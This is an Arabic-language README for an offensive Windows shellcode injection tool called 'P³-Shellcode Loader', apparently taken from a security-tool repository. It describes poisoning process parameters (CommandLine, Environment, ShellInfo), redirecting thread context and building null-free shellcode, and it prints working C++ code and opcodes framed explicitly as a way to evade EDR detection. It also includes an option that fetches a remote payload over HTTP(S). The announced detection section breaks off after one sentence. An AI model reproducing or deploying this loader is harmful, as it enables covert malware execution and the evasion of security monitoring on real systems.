
P³-Shellcode Loader هو أداة تحميل تنفّذ تقنية حقن كود تستفيد من بنية Process Parameters كموقع للتنفيذ والتخزين المرحلي لحقن الشيل كود في العمليات البعيدة، دون تفعيل آليات الكشف الشائعة.
المؤلفان: Max Hirschberger و Ogulcan Ugur
P³-Shellcode Loader هو أداة تحميل تنفّذ تقنية حقن كود تستفيد من بنية معاملات العملية (حقن مُعاملات العملية) كموقع تنفيذ ومرحلة تخزين لحقن كود الشل في العمليات البعيدة، دون تحفيز آليات الكشف الشائعة.
تم وصف مفهوم مشابه من قِبل الباحث الأمني modexp، الذي أظهر أن الوسائط الممرَّرة إلى واجهة CreateProcess-API يمكن استغلالها لهذا الغرض [1].
يريد المهاجمون جعل أنشطتهم تبدو أقل إثارة للشك. من خلال حقن العمليات، يستطيع المهاجمون تنفيذ أنشطتهم من عملية مختلفة تكون أكثر موثوقية أو يُتوقع منها القيام بالنشاط المحدد، مما يقلل الشك.
فيما يلي الخطوات النموذجية المطلوبة لحقن كود في عملية أخرى:
OpenProcess / NtOpenProcess أو CreateProcess / NtCreateProcess).VirtualAllocEx أو NtAllocateVirtualMemory).WriteProcessMemory / NtWriteVirtualMemory).VirtualProtectEx / NtProtectVirtualMemory).CreateRemoteThread أو NtCreateThreadEx).تشمل تقنيات الحقن الإضافية على سبيل المثال لا الحصر ما يلي:
NtSetContextThread)NtQueueApcThread)RtlCreateProcessReflection، التي تنفّذ تقسيم العمليات (process forking).
في اختباراتنا، لاحظنا أن معظم حلول EDR تركز على بيانات تتبع محددة لاكتشاف حقن العمليات. تراقب حلول EDR بشكل أساسي استخدام WriteProcessMemory و VirtualAllocEx، بالإضافة إلى استدعاءات نظام kernel الأساسية الخاصة بها NtWriteVirtualMemory و NtAllocateVirtualMemory و NtAllocateVirtualMemoryEx.توفر ويندوز دالة API CreateProcessW لإنشاء عمليات جديدة، كما هو موضح في Listing 1. المعاملات الثلاثة الأولى منها lpCommandLine و lpEnvironment و lpStartupInfo ذات صلة بتقنية الحقن الموصوفة، لأنها تُستخدم لنقل البيانات إلى العملية الجديدة.```c
BOOL CreateProcessW(
[in, optional] LPCWSTR lpApplicationName,
[in, out, optional] LPWSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCWSTR lpCurrentDirectory,
[in] LPSTARTUPINFOW lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*القائمة 1: تعريف دالة CreateProcessW في Windows API*
تحدد المعلمة `lpCommandLine` سطر الأوامر للعملية الجديدة. وهي محدودة بحد أقصى 32,767 حرفًا من أحرف Unicode، بما في ذلك مُنهي النهاية null الخاص بـ Unicode. بالنسبة للنسخة Unicode، من الضروري توفير سلسلة نصية يمكن للدالة الكتابة إليها. إذا تم توفير سلسلة نصية ثابتة، فإن أي محاولات كتابة تقوم بها دالة API تؤدي إلى انتهاك الوصول إلى الذاكرة. إذا كانت القيمة `NULL`، فسيتم أخذ سطر أوامر العملية من المعلمة `lpApplicationName`. إذا كانت `lpApplicationName` هي `NULL`، فيتعين توفيرها في حقل `lpCommandLine` وتكون محدودة بعدد `MAX_PATH` من الأحرف.
توفر المعلمة `lpEnvironment` قائمة بمتغيرات البيئة للعملية. إذا كانت القيمة `NULL`، فسيتم استخدام بيئة العملية المُنشِئة. تتكون قائمة متغيرات البيئة من سلاسل نصية متتالية تنتهي بـ null بالتنسيق `NAME=VALUE` مع مُنهي null إضافي في النهاية.
المعلمة `lpStartupInfo` هي بنية موضحة في القائمة 2 تحتوي على حقول مثل محطة النوافذ وسطح المكتب ومقابض الإدخال والإخراج القياسية بالإضافة إلى حقول تُهيئ النافذة الرئيسية للعملية الجديدة. وفقًا لتوثيق مايكروسوفت، فإن الحقل `lpReserved` محجوز للاستخدام الداخلي دون مزيد من التوثيق. من خلال التحليل باستخدام مصحح الأخطاء WinDbg، أمكن ربط هذه المعلمة بالمتغير `ShellInfo` من النوع `UNICODE_STRING` في العملية الجديدة.```c
typedef struct _STARTUPINFOW {
DWORD cb;
LPWSTR lpReserved; // Copied to ShellInfo (UNICODE_STRING)
LPWSTR lpDesktop;
LPWSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
// (...) additional fields
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
// (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;
القائمة 2: تخطيط بنية بيانات STARTUPINFOW
عند إنشاء عملية جديدة، تتم كتابة جميع معاملات العملية المقدَّمة إلى كتلة بيئة العملية (PEB). إن PEB هي بنية بيانات موجودة في جميع العمليات وفريدة لكل عملية. يمكن الوصول إلى المعاملات داخل العضو ProcessParameters من النوع RTL_USER_PROCESS_PARAMETERS. بالإضافة إلى معاملات العملية، تتضمن هذه البنية أيضًا معلومات وقت تشغيل إضافية، مثل قائمة بالوحدات النمطية المحمّلة. تظهر بنية PEB ومعاملات العملية ذات الصلة في RTL_USER_PROCESS_PARAMETERS في القائمة 3 والقائمة 4.```c
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
// (...) additional fields
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
// (...) additional fields
} PEB, *PPEB;
*القائمة 3: تخطيط بنية بيانات PEB*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
// (...) additional fields
CURDIR CurrentDirectory;
UNICODE_STRING DllPath; // Potential candidate for transfer
UNICODE_STRING ImagePathName; // Potential candidate for transfer
UNICODE_STRING CommandLine; // Primary candidate for transfer
PVOID Environment; // Primary candidate for transfer
// (...) additional fields
UNICODE_STRING ShellInfo; // Primary candidate for transfer
// (lpReserved in STARTUPINFO)
UNICODE_STRING RuntimeData; // Potential candidate for transfer
// (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
القائمة 4: تخطيط بنية بيانات RTL_USER_PROCESS_PARAMETERS
يوضح الشكل 1 معامل ShellInfo مع قيمة التسميم المقدمة في حقل lpReserved لبنية STARTUPINFOW. علاوة على ذلك، يوضح الشكل 2 سطر الأوامر المتحكم فيه داخل أداة System Informer.
الشكل 1: معامل ShellInfo المسموم
الشكل 2: سطر الأوامر المسموم
نظرًا لوجود معاملات متعددة يمكن استخدامها لنسخ التعليمات البرمجية الخبيثة، فإن الدالة المغلفة في القائمة 5 تنشئ عملية مع تمرير وسيط التسميم إلى معامل العملية المختار. عند تشغيل الحاقن المنفذ، يمكن اتخاذ هذا الاختيار كما هو موضح في الشكل 3. علاوة على ذلك، يمكن توفير أي قيمة للتطبيق الهدف الذي سيُستخدم في lpApplication، مع موجه المستخدم الموضح في الشكل 4.```cpp
BOOL CreateProcessWithPoison
(int choice, PWCHAR lpApplication,
PWCHAR poisonParameter, PPROCESS_INFORMATION pi)
{
STARTUPINFOW si = { 0 };
switch (choice) {
case 1: // Injection via ShellInfo (lpReserved)
printf("[] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, pi);
case 2: // Injection via Environment block
printf("[] Writing into Environment block...\n");
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_UNICODE_ENVIRONMENT, poisonParameter,
NULL, &si, pi);
case 3: // Injection via CommandLine
printf("[~] Writing into CommandLine...\n");
return CreateProcessW(lpApplication, poisonParameter, NULL, NULL,
FALSE, 0, NULL, NULL, &si, pi);
default:
return FALSE;
}
}
*القائمة 5: تنفيذ CreateProcessWithPoison*
تنفّذ هذه الدالة ثلاثة خيارات مميزة للمعاملات:
1. **حقن ShellInfo:** يضع السم في حقل `lpReserved` من معامل `lpStartupInfo` الذي سيُنسخ إلى متغير `ShellInfo` في PEB
2. **حقن البيئة:** يضع السم في معامل `lpEnvironment` مع العلم `CREATE_UNICODE_ENVIRONMENT`
3. **حقن سطر الأوامر:** يضع السم في معامل `lpCommandLine` الخاص بـ `CreateProcessW`
<img width="753" height="445" alt="صورة" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />
*الشكل 3: اختيار المعامل القابل للتسميم*
<img width="752" height="167" alt="صورة" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />
*الشكل 4: اختيار التطبيق المستهدف القابل للتنفيذ*
### 4.2 تحديد موقع البيانات المحقونة في العملية الجديدة
بعد نجاح إنشاء العملية، يمكن العثور على البيانات المحقونة عبر بنية PEB. يلزم تنفيذ الخطوات الثلاث التالية لتحديد موقع السم في العملية الجديدة.
أولاً، يتم تحديد عنوان البداية لبنية PEB عن طريق استدعاء `NtQueryInformationProcess`. يسترجع `NtQueryInformationProcess` بنية البيانات `PROCESS_BASIC_INFORMATION` عند استدعائه بفئة المعلومات `ProcessBasicInformation`. وتحتوي `PROCESS_BASIC_INFORMATION` على عنوان PEB في حقل `PebBaseAddress`. تظهر هذه الخطوة في القائمة 6.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
pi.hProcess, // Handle of the new process
ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
&pbi, // Destination
sizeof(pbi), // Size of the destination
&retLen // Resulting size of what was read
);
Listing 6: الخطوة الأولى لتحديد موقع البيانات المحقونة
في الخطوة الثانية، تتم قراءة بنية PEB عن طريق استدعاء NtReadVirtualMemoryEx مع عنوان بداية البنية التي تم استرجاعها في الخطوة الأولى. يظهر تنفيذ الخطوة الثانية في Listing 7.```cpp
PEB pebLocal = { 0 };
SIZE_T bytesRead;
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of the new process
pbi.PebBaseAddress, // Starting address of the PEB
&pebLocal, // Destination / Local copy of the PEB
sizeof(pebLocal), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
*القائمة 7: الخطوة الثانية لتحديد موقع البيانات المحقونة*
بعد قراءة PEB، يحتوي الحقل `ProcessParameters` على عنوان البداية لبنية `RTL_USER_PROCESS_PARAMETERS` في العملية الجديدة. في الخطوة الثالثة، تُقرأ هذه البنية أيضًا من العملية الجديدة. توجد المؤشرات إلى البيانات المحقونة داخل هذه البنية. تظهر الخطوة الثالثة في القائمة 8.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of target process
pebLocal.ProcessParameters, // ProcessParameters address in target
¶meters, // Output buffer / Local copy
sizeof(parameters), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
القائمة 8: الخطوة الثالثة لتحديد موقع البيانات المحقونة
هذا الأسلوب يستخدم فقط واجهات برمجة تطبيقات قراءة الذاكرة، ولا يستخدم أي واجهة كتابة أو تخصيص تركز عليها أنظمة EDR. ومع ذلك، هناك قيد واحد تفرضه المعاملات. نظرًا لأن هذه المعاملات عبارة عن سلاسل منتهية بقيمة null، فإنه يمكن نقل shellcode الذي لا يحتوي على null في نهايته بشكل كامل فقط. يُقدَّم حل لتجاوز هذا القيد في القسم 5.
بعد نقل الكود، لا يزال يتعين توجيه تنفيذ العملية إلى الكود. علاوة على ذلك، يجب تعديل حماية ذاكرة البيانات المحقونة، لأن المعاملات لا توضع في مناطق مُعلَّمة بأنها قابلة للتنفيذ.
لتغيير الحماية، يتم استخدام واجهة برمجة تطبيقات Windows NtProtectVirtualMemory لتغيير الحماية من قابلة للقراءة والكتابة فقط إلى قابلة للقراءة والتنفيذ فقط.
لإعادة توجيه تنفيذ الكود إلى shellcode، توجد الطرق الثلاث التالية:
CreateRemoteThread / NtCreateThreadEx: إنشاء خيط جديد يبدأ عند shellcodeQueueUserAPC / NtQueueApcThread: وضع APC في قائمة انتظار على خيط موجود بحيث يؤدي في النهاية إلى إعادة توجيهه إلى shellcodeأظهرت نظرة مفصلة على تنفيذ RtlCreateProcessReflection أنه يقوم باستدعاءات إلى NtWriteVirtualMemory وNtCreateThreadEx. في الأساس، ينشئ خيطًا في عملية مستهدفة لتنفيذ دالة داخل ntdll.dll. وهذه الدالة تنشئ العملية المتفرعة عن طريق استدعاء RtlCloneUserProcess وتقوم أيضًا بكتابة في ذاكرة العملية المتفرعة.
نظرًا لأن NtWriteVirtualMemory يُعد أحد المؤشرات الأساسية التي تستخدمها أنظمة EDR، فإن طريقة Dirty Vanity لا تثير سوى شكوكًا تتجاوز ما هو ضروري.
بدلاً من ذلك، يُستخدم التلاعب بسياق الخيط الرئيسي، لأنه يوفر المزايا التالية مقارنةً بـ Dirty Vanity:
CreateProcessW بالفعل مقبضًا صالحًا للخيط الرئيسي داخل بنية PROCESS_INFORMATION. المقبض هو كائن مرجعي مجرد توفره النواة للتفاعل مع موارد النظام، مثل العمليات والخيوط والملفات. المقابض هي في الأساس فهارس في جداول مقابض خاصة بالعملية، تعيّن كل مقبض إلى كائن في النواة مع مستوى وصول مرتبط بهذا الكائن.NtWriteVirtualMemory أو VirtualAllocEx أو CreateRemoteThread أبدًا، بل يتم استدعاء NtSetContextThread فقط.
سياق الخيط هو حالة جميع سجلات المعالج. لذلك من الممكن إعادة توجيه تدفق تنفيذ الخيط عن طريق التلاعب بسياقه، أي بتغيير سجل مؤشر التعليمات. عادةً، يتم التلاعب بسياق الخيط عبر الخطوات التالية:تعليق الخيط: يتم وضع الخيط المستهدف في حالة معلّقة إما عن طريق استدعاء SuspendThread أو عن طريق إنشائه في حالة معلّقة
قراءة السياق: تتم قراءة السياق الحالي في بنية بيانات CONTEXT عبر GetThreadContext
تعديل السياق: يتم إجراء التغييرات المطلوبة على السياق، مثل تغيير سجل مؤشر التعليمات RIP
تطبيق السياق: تتم كتابة السياق المعدَّل إلى الخيط عن طريق استدعاء SetThreadContext
استئناف الخيط: يتم استدعاء ResumeThread لاستئناف تنفيذ الخيط عند القيمة الجديدة لـ RIP
يمكن تغيير سياق الخيط دون تعليقه أولاً. لذلك ليس من الضروري استدعاء SuspendThread وResumeThread اللذين قد تراقبهما أنظمة EDR لاكتشاف حقن العمليات. علاوة على ذلك، يمكن أيضًا تخطي استدعاء GetThreadContext إذا لم تكن هناك حاجة لاستعادة التنفيذ السابق في نقطة لاحقة. يظهر التنفيذ الناتج في القائمة 9.```cpp
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode)
{
CONTEXT ctx;
ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
NTSTATUS status = 0;
*القائمة 9: التلاعب بسياق الخيط في ThreadSetExec*
### 4.4 حقن الحمولات المنفذة
يتضمّن تطبيقنا لتقنية الحقن هذه الخيارات الأربعة التالية للحمولات، كما هو موضح في الشكل 5.
1. الخيار الأول هو عرض تجريبي بسيط يعرض نافذة منبثقة وهو موضح في الشكل 5. لا يتطلب هذا الخيار أي shellcode إضافي أو ملفات تنفيذية سيتم حقنها.
2. الخيار الثاني يأخذ تمثيلًا سداسيًا عشريًا للـ shellcode ويحقنه. إذا كان الـ shellcode يحتوي على بايتات صفرية، فسيتم حقنه بالطريقة الموصوفة في القسم 5.
3. الخيار الثالث يقبل مسارًا لملف DLL ثم يُمرَّر إلى `LoadLibraryA` داخل الهدف.
4. أخيرًا، يقوم الخيار الرابع بتحميل shellcode خام من عنوان HTTP(S) URL ويتعامل أيضًا مع قيد البايتات الصفرية.
<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />
*الشكل 5: اختيار الـ shellcode المُحقن*
<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />
*الشكل 6: صندوق الرسائل المنشأ بواسطة الـ shellcode*
---
## 5. تمرير shellcode عشوائي في سلسلة نصية
ليس من الممكن تمرير أي بيانات عشوائية ضمن المعاملات (parameters). والسبب أن البيانات التي تصل إلى فاصل النهاية الفارغ (null-terminator) فقط هي التي ستُنسخ. لتجاوز هذا القيد، قمنا ببناء مولّد shellcode لا يُصدر فواصل نهاية فارغة.
يمكن لمولّد الـ shellcode هذا إنشاء shellcode لاستدعاء `MessageBoxA` أو `LoadLibraryA` أو `NtTerminateProcess` أو `NtSuspendThread` بأي معاملات. علاوةً على ذلك، يمكنه توليد shellcode يفك تشفير مرحلة ثانية عشوائية من الـ shellcode ثم يقفز إليها.
تم تنفيذه في كلاس C++ المسمى `ShellCodeWriter` مع طرق مساعدة خاصة وطرق عامة للوظائف المكشوفة. سيتم شرح تفاصيل التنفيذ فيما يلي.
### 5.1 طرق المساعدة منخفضة المستوى المستخدمة في مولّد الـ shellcode
يُستخدم `Xor` كبدائية (primitive) تسمح للـ shellcode بتوليد أي بيانات، بما في ذلك البايتات الصفرية. هذه البدائية مُنفَّذة في الطريقة المساعدة `SetRAXXOR` التي تأخذ قيمتين من 64 بت. تصدر shellcode ينفّذ عملية xor مع القيمتين المعطاتين من 64 بت ويحفظ النتيجة في سجل `RAX`.
الطريقة المساعدة الإضافية `SetRAX` تنشئ هاتين القيمتين من 64 بت، اللتين عند إجراء xor عليهما تنتجان قيمة معينة. كما تضمن أن هاتين القيمتين من 64 بت لا تحتويان على أي بايتات صفرية. باختصار، تصدر `SetRAX` shellcode يضبط سجل `RAX` على أي قيمة من 64 بت.
تظهر كل من `SetRAXXOR` و `SetRAX` في القائمة 10. بالإضافة إلى ذلك، يظهر الكود الآلي الناتج عن ثلاثة أمثلة لاستدعاءات `SetRAX` في القائمة 11.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
const char gadget[] =
"\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
"\x4C\x31\xF8"; // xor rax, r15
uint64_t* xor_a = (uint64_t*)(gadget + 2);
uint64_t* xor_b = (uint64_t*)(gadget + 12);
*xor_a = xor_a_value;
*xor_b = xor_b_value;
AppendShellCode(gadget, 23);
}
void ShellCodeWriter::SetRAX(uint64_t value)
{
if (value == 0)
{
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
return;
}
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
// Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
for (int i = 0; i < 8; i++)
{
if (((uint8_t*)(&value))[i] == 0x01)
{
((uint8_t*)(&xor_b))[i] = 0x02;
}
}
xor_a = value ^ xor_b;
SetRAXXOR(xor_a, xor_b);
}
القائمة 10: تنفيذ SetRAXXOR و SetRAX```asm ; SetRAX(0) xor rax, rax
; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15
; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15
*القائمة 11: أمثلة على الكود المُصدَر بواسطة SetRAX*
تُعد `SetRAX` الأساس للطرق المساعدة `PushValue` و`PushBuffer` و`SetArgRegister` و`SetArgRegisterStackRelative`. تستدعي `PushValue` الدالة `SetRAX` وتتبعها بتعليمة `push RAX`، مما يتيح دفع قيم عشوائية إلى المكدس. تستخدم `PushBuffer` الدالة `PushValue` لكتابة مصفوفة بايتات عشوائية على المكدس؛ وللقيام بذلك، تقوم بتقسيم البيانات إلى قيم 64 بت ودفعها بترتيب عكسي. يجب عكس الترتيب، لأن مؤشر المكدس يتناقص بعد كل عملية دفع. يتتبع مولّد الشيلكود عدد البايتات التي تم دفعها باستخدام المتغير `m_total_consumed_stack_bytes`. يُستخدم هذا المتغير في الطريقة المساعدة `FreeStack` لتنظيف المكدس وإعادة مؤشر المكدس إلى قيمته الأولية.
في واجهة التطبيق الثنائية لنظام Windows لبنية x86 ذات 64 بت، تُستخدم السجلات `RCX` و`RDX` و`R8` و`R9` للوسائط الأربع الأولى عند استدعاء دالة. تُدفع الوسائط الإضافية على المكدس، بعد مساحة ظل (shadow space) بحجم 32 بايت. تُحجز مساحة الظل للدالة المستدعاة وتُستخدم لحفظ سجلات الوسائط الأربعة الأولى. تُستخدم `SetArgRegister` و`SetArgRegisterStackRelative` لتعيين أحد سجلات الوسائط الأربعة هذه. تقوم `SetArgRegister` بتعيين سجل معيّن إلى قيمة ثابتة عشوائية. أما الكود المُولَّد بواسطة `SetArgRegisterStackRelative` فيكتب مؤشر المكدس مضافًا إليه إزاحة ثابتة إلى سجل الوسيطة المقابل. يمكن دفع أي وسائط إضافية للدالة باستخدام الطريقة المساعدة `PushValue`.
تصدر الطريقة المساعدة `Call` كودًا يضبط محاذاة مؤشر المكدس إلى 16 بايت، ثم ينفذ استدعاءً إلى العنوان المحدد، وأخيرًا يتراجع عن أي تغيير في المحاذاة أجراه في البداية. يُعد مؤشر المكدس بمحاذاة 16 بايت أمرًا ضروريًا لمنع التعطل في الدوال التي تستخدم عمليات سجلات الفاصلة العائمة XMM. عند استدعاء دوال ذات وسائط تُمرَّر عبر المكدس، يجب أن تكون المحاذاة صحيحة قبل استدعاء هذه الطريقة المساعدة. وإلا، فستستقر الوسائط في إزاحة مكدس خاطئة.
### 5.2 تنفيذ العمليات عالية المستوى
أبسط عملية هي استدعاء `NtTerminateProcess` أو `NtSuspendThread`. نظرًا لتشابههما، سيتم تغطية `NtTerminateProcess` فقط، وهو موضح في القائمة 12. تأخذ `NtTerminateProcess` معاملين وتتبع اصطلاح استدعاء x64. أولًا، تُستدعى الطريقة المساعدة `SetArgRegister` لكلا المعاملين، لتهيئتهما بالقيم المقدمة. ثم تُستدعى دالة API.
نظرًا لأن الشيلكود يُولَّد على نفس الجهاز، يتم تحديد عنوان الدالة في وقت التوليد وليس داخل الشيلكود. تتولى الفئة `WinApiResolver` تحديد عناوين دوال API. أخيرًا، تولّد الطريقة المساعدة `Call` تعليمة الاستدعاء وكود محاذاة المكدس.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtTerminateProcess);
}
القائمة 12: تنفيذ ShellCodeWriter::CallTerminateProcess
لا يمكن استخدام الدوال التي تأخذ قيم مؤشرات مثل LoadLibraryA و MessageBoxA بالطريقة نفسها. وذلك لأن عنوان ذاكرة صالحاً مطلوب، وهوالعنوان غير معروف وقت توليد الشيلكود. لذلك تُستخدم الأداة المساعدة SetArgRegisterStackRelative لتعيين الوسيط إلى عنوان على المكدس. في القائمة 13، تُكتب سلسلة معامل الوحدة النمطية إلى المكدس ويُضبط سجل الوسيط الأول ليشير إلى بداية سلسلة الوحدة النمطية على المكدس. علاوةً على ذلك، تُزيح الدالة مؤشر المكدس بمقدار 32 بايت لمراعاة مساحة الظل. وبدون ذلك، كانت الدالة المُستدعاة ستستبدل سلسلة الوحدة النمطية.```cpp
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
PushBuffer(module, strlen(module) + 1);
int pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.LoadLibraryA);
}
*القائمة 13: تنفيذ `ShellCodeWriter::CallLoadLibraryA`*
أخيرًا، تأخذ الدالة `LoadAndCallShellCode` شيل كود عشوائيًا يمكن أن يحتوي على بايتات صفرية وتنفّذه. يظهر تنفيذها في القائمتين 14 و15 وينقسم إلى العمليات الخمس التالية:
1. تتم كتابة الشيل كود العشوائي إلى المكدس عبر `PushBuffer`. بعد ذلك، يتم تخصيص مساحة الظل لحماية الشيل كود من الاستبدال.
2. بعد ذلك، يتم إجراء استدعاء بسيط للدالة `VirtualAlloc` يستخدم معاملات معروفة مسبقًا في وقت التوليد. يخصص هذا الاستدعاء ذاكرة محمية بصلاحيات القراءة والكتابة وتتسع للشيل كود.
3. بعد ذلك، يتم حفظ عنوان الذاكرة الذي أرجعه `VirtualAlloc` في السجلّين `R12` و`R10`. ثم تتم تهيئة `R11` ليمثل حجم الشيل كود، ويتم تعيين `RCX` ليشير إلى بداية الشيل كود. ومع ضبط السجلات `R10` و`R11` و`RCX`، تتبع ست تعليمات تنفّذ نسخًا للذاكرة، بنسخ الشيل كود إلى منطقة الذاكرة المخصصة حديثًا.
4. القفز إلى الشيل كود غير ممكن بعد، لأن منطقة الذاكرة محمية بصلاحيات القراءة والكتابة. من الممكن تخصيص منطقة قابلة للقراءة والكتابة والتنفيذ، لكن هذا قد يُعتبر أكثر إثارة للشك. لذلك، يتم إجراء استدعاء للدالة `VirtualProtect` لتغيير الحماية إلى قابلة للقراءة والتنفيذ ولكن غير قابلة للكتابة.
5. وأخيرًا، يتم القفز إلى الشيل كود بعد التأكد من محاذاة المكدس بشكل صحيح.```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
// 1. Pushes the shellcode to the stack
PushBuffer(shellcode.data(), shellcode.size());
int pos_sc = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// 2. Allocates READWRITE memory
CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
{ // 3. Copies shellcode from the stack to the newly allocated area
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
SetRAX(shellcode.size());
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
// r10: Shellcode dest ptr
// r11: size
// rcx: Shellcode src ptr
const char* copy_sc =
"\x8A\x01" // mov al, byte ptr ds:[rcx]
"\x41\x88\x02" // mov byte ptr ds:[r10], al
"\x48\xff\xc1" // inc rcx
"\x49\xff\xc2" // inc r10
"\x49\xff\xcb" // dec r11
"\x75\xf0"; // jnz -16
AppendShellCode(copy_sc, 16);
}
// (...)
القائمة 14: تنفيذ ShellCodeWriter::LoadAndCallShellCode (الخطوات 1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }
if (m_total_consumed_stack_bytes % 16)
{
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
m_total_consumed_stack_bytes += 8;
}
// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}
*القائمة 15: تنفيذ ShellCodeWriter::LoadAndCallShellCode (الخطوات 4–5)*
---
## 6. مزايا تفادي الاكتشاف بهذه التقنية
من المزايا الرئيسية لهذه التقنية أنه لا يتم إنشاء أي عمليات في حالة معلّقة ولا يتم تعليق أي خيوط أو عمليات أثناء تنفيذها. إن إنشاء عمليات معلّقة أو استدعاءات متكررة لـ `SuspendThread` تُعد مؤشرات معروفة تستخدمها حلول EDR لكشف إفراغ العمليات (process hollowing)، وحقن العمليات (process injection)، والهجمات المماثلة.
علاوة على ذلك، من خلال إنشاء العملية الهدف، يكون مقبض (handle) الخيط الرئيسي متاحًا بالفعل ويتمتع بصلاحية الوصول المطلوبة لتغيير سياقه.
| الجانب | الحقن الكلاسيكي | تسميم معاملات العملية |
|---|---|---|
| تخصيص الذاكرة | `VirtualAllocEx` مطلوب | لا يوجد تخصيص صريح |
| كتابة الذاكرة | `WriteProcessMemory` مطلوب | غير مباشر عبر `CreateProcessW` |
| توجيه التنفيذ | `CreateRemoteThread` أو APC | `SetThreadContext` |
| احتمالية الاكتشاف | عالية (العديد من واجهات برمجة التطبيقات المشبوهة) | منخفضة (إنشاء عملية غير ضارة) |
| تليمترية EDR | مراقبة عن كثب | قابلية مراقبة أقل |
بشكل عام، تثير هذه التقنية شكوكًا أقل بكثير لأنها تترك بصمة أصغر باستخدام واجهات برمجة تطبيقات مشروعة لإنشاء العمليات وإدارة الخيوط.
---
## 7. نهج الاكتشاف
هناك عدة مؤشرات مشبوهة تولّدها هذه التقنية ويمكن استخدامها لاكتشافها.
